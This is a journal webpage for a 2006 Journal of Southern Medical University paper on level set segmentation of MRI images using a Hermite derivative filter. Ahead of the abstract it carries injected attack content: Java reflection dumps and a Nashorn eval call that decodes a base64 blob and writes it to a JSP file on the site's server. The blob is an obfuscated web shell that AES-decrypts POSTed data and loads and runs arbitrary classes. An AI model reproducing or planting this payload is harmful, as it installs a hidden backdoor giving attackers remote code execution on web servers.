public javax.script.ScriptEngineManager() public javax.script.ScriptEngineManager(java.lang.ClassLoader) public javax.script.ScriptEngineManager() javax.script.ScriptEngineManager@44eb5bdd jdk.nashorn.api.scripting.NashornScriptEngine@6b81dee4 [Ljava.lang.reflect.Method;@1c26a009 public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.lang.String) throws javax.script.ScriptException public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.io.Reader) throws javax.script.ScriptException public javax.script.ScriptEngineFactory jdk.nashorn.api.scripting.NashornScriptEngine.getFactory() public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.lang.String,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.io.Reader,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Object,java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeMethod(java.lang.Object,java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeFunction(java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public javax.script.Bindings jdk.nashorn.api.scripting.NashornScriptEngine.createBindings() public java.lang.Object javax.script.AbstractScriptEngine.get(java.lang.String) public void javax.script.AbstractScriptEngine.put(java.lang.String,java.lang.Object) public javax.script.ScriptContext javax.script.AbstractScriptEngine.getContext() public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String,javax.script.Bindings) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader,javax.script.Bindings) throws javax.script.ScriptException public void javax.script.AbstractScriptEngine.setContext(javax.script.ScriptContext) public javax.script.Bindings javax.script.AbstractScriptEngine.getBindings(int) public void javax.script.AbstractScriptEngine.setBindings(javax.script.Bindings,int) public final void java.lang.Object.wait() throws java.lang.InterruptedException public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public java.lang.String java.lang.Object.toString() public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll() $f.eval("var B=Java.type('java.util.Base64');var F=Java.type('java.io.FileOutputStream');var d=B.getDecoder().decode('PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmEuaW8uKixqYXZheC5jcnlwdG8uKixqYXZheC5jcnlwdG8uc3BlYy4qIiAlPgo8JSEKICAgIHByaXZcdTAwNjF0ZSBieXRlW10gRGVjcnlwdChieXRlW10gZFx1MDA2MXRcdTAwNjEpIHRocm93cyBFeGNlcHRpb24KICAgIHsKICAgICAgICBTdHJpbmcgaz0iMGJcdTAwNjE0NDM5ZWU5XHUwMDYxNDZkOWQiOwogICAgICAgIGpcdTAwNjF2XHUwMDYxeC5jcnlwdG8uQ2lwaGVyIGM9alx1MDA2MXZcdTAwNjF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdFx1MDA2MW5jZSgiQUVTL0VDQi9QS0NTNVBcdTAwNjFkZGluZyIpO2MuaW5pdCgyLG5ldyBqXHUwMDYxdlx1MDA2MXguY3J5cHRvLnNwZWMuU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTsKICAgICAgICBieXRlW10gZGVjb2RlYnM7CiAgICAgICAgQ2xcdTAwNjFzcyBiQ2x6IDsKICAgICAgICAgICAgICAgIHRyeXsKICAgICAgICAgICAgICAgICAgICBiQ2x6PUNsXHUwMDYxc3MuZm9yTlx1MDA2MW1lKCJqXHUwMDYxdlx1MDA2MS51dGlsLkJcdTAwNjFzZTY0Iik7CiAgICAgICAgICAgICAgICAgICAgT2JqZWN0IERlY29kZXI9YkNsei5nZXRNZXRob2QoImdldERlY29kZXIiLCBudWxsKS5pbnZva2UoYkNseiwgbnVsbCk7CiAgICAgICAgICAgICAgICAgICAgZGVjb2RlYnM9KGJ5dGVbXSkgRGVjb2Rlci5nZXRDbFx1MDA2MXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGUiLCBuZXcgQ2xcdTAwNjFzc1tde2J5dGVbXS5jbFx1MDA2MXNzfSkuaW52b2tlKERlY29kZXIsIG5ldyBPYmplY3RbXXtkXHUwMDYxdFx1MDA2MX0pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgY1x1MDA2MXRjaCAoVGhyb3dcdTAwNjFibGUgZSkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBiQ2x6ID0gQ2xcdTAwNjFzcy5mb3JOXHUwMDYxbWUoInN1bi5taXNjLkJBU0U2NERlY29kZXIiKTsKICAgICAgICAgICAgICAgICAgICBPYmplY3QgRGVjb2Rlcj1iQ2x6Lm5ld0luc3RcdTAwNjFuY2UoKTsKICAgICAgICAgICAgICAgICAgICBkZWNvZGVicz0oYnl0ZVtdKSBEZWNvZGVyLmdldENsXHUwMDYxc3MoKS5nZXRNZXRob2QoImRlY29kZUJ1ZmZlciIsbmV3IENsXHUwMDYxc3NbXXtTdHJpbmcuY2xcdTAwNjFzc30pLmludm9rZShEZWNvZGVyLCBuZXcgT2JqZWN0W117bmV3IFN0cmluZyhkXHUwMDYxdFx1MDA2MSl9KTsKCiAgICAgICAgICAgICAgICB9CiAgICAgICAgcmV0dXJuIGMuZG9GaW5cdTAwNjFsKGRlY29kZWJzKTsKCiAgICB9CiU+CjwlIWNsXHUwMDYxc3MgVSBleHRlbmRzIENsXHUwMDYxc3NMb1x1MDA2MWRlcntVKENsXHUwMDYxc3NMb1x1MDA2MWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsXHUwMDYxc3MgZyhieXRlIFtdYil7cmV0dXJuCiAgICAgICAgc3VwZXIuZGVmaW5lQ2xcdTAwNjFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdVx1MDA2MWxzKCJQT1NUIikpewogICAgICAgICAgICBCeXRlQXJyXHUwMDYxeU91dHB1dFN0cmVcdTAwNjFtIGJvcyA9IG5ldyBCeXRlQXJyXHUwMDYxeU91dHB1dFN0cmVcdTAwNjFtKCk7CiAgICAgICAgICAgIGJ5dGVbXSBidWYgPSBuZXcgYnl0ZVs1MTJdOwogICAgICAgICAgICBpbnQgbGVuZ3RoPXJlcXVlc3QuZ2V0SW5wdXRTdHJlXHUwMDYxbSgpLnJlXHUwMDYxZChidWYpOwogICAgICAgICAgICB3aGlsZSAobGVuZ3RoPjApCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGJ5dGVbXSBkXHUwMDYxdFx1MDA2MT0gQXJyXHUwMDYxeXMuY29weU9mUlx1MDA2MW5nZShidWYsMCxsZW5ndGgpOwogICAgICAgICAgICAgICAgYm9zLndyaXRlKGRcdTAwNjF0XHUwMDYxKTsKICAgICAgICAgICAgICAgIGxlbmd0aD1yZXF1ZXN0LmdldElucHV0U3RyZVx1MDA2MW0oKS5yZVx1MDA2MWQoYnVmKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBvdXQuY2xlXHUwMDYxcigpOwogICAgICAgICAgICBvdXQ9cFx1MDA2MWdlQ29udGV4dC5wdXNoQm9keSgpOwogICAgICAgIG5ldyBVKHRoaXMuZ2V0Q2xcdTAwNjFzcygpLmdldENsXHUwMDYxc3NMb1x1MDA2MWRlcigpKS5nKERlY3J5cHQoYm9zLnRvQnl0ZUFyclx1MDA2MXkoKSkpLm5ld0luc3RcdTAwNjFuY2UoKS5lcXVcdTAwNjFscyhwXHUwMDYxZ2VDb250ZXh0KTt9CiU+');var o=new F('D:/magtech/webs/Jwk34_nfykdxxb/attached/test.jsp');o.write(d);o.close();");

Journal of Southern Medical University ›› 2006, Vol. 26 ›› Issue (01): 36-40.

Previous Articles     Next Articles

A level set method based on Hermite derivative filter for segmentation of magnetic resonance images

YANG Feng, JIN Da-nian, CHEN Wu-fan, LUO Min College of Biomedical Engineering, Southern Medical University, Guangzhou 510515, China   

  1. 南方医科大学生物医学工程学院; 南方医科大学生物医学工程学院 广东 广州 510515; 广东 广州 510515;
  • Online:2006-01-20 Published:2006-01-20

Abstract: A level set segmentation algorithm based on Hermite derivative filter is proposed for segmentation of human magnetic resonance images (MRI). Instead of utilizing the traditional first difference, Hermite derivative filter was used to calculate the differential coefficients in the course of level set interface evolution, so that the differential coefficients were no longer decided by the first neighbor, but by the second neighbor of the examined pixel. Results of the segmentation tests proved that to the same segmentation process, the level set method utilizing Hermite derivative filter produced a more accurate result. The proposed method showed especial superiority over the conventional method for images with interferences by noise. At the same time, the new algorithm did not increase the time for the segmentation.

CLC Number: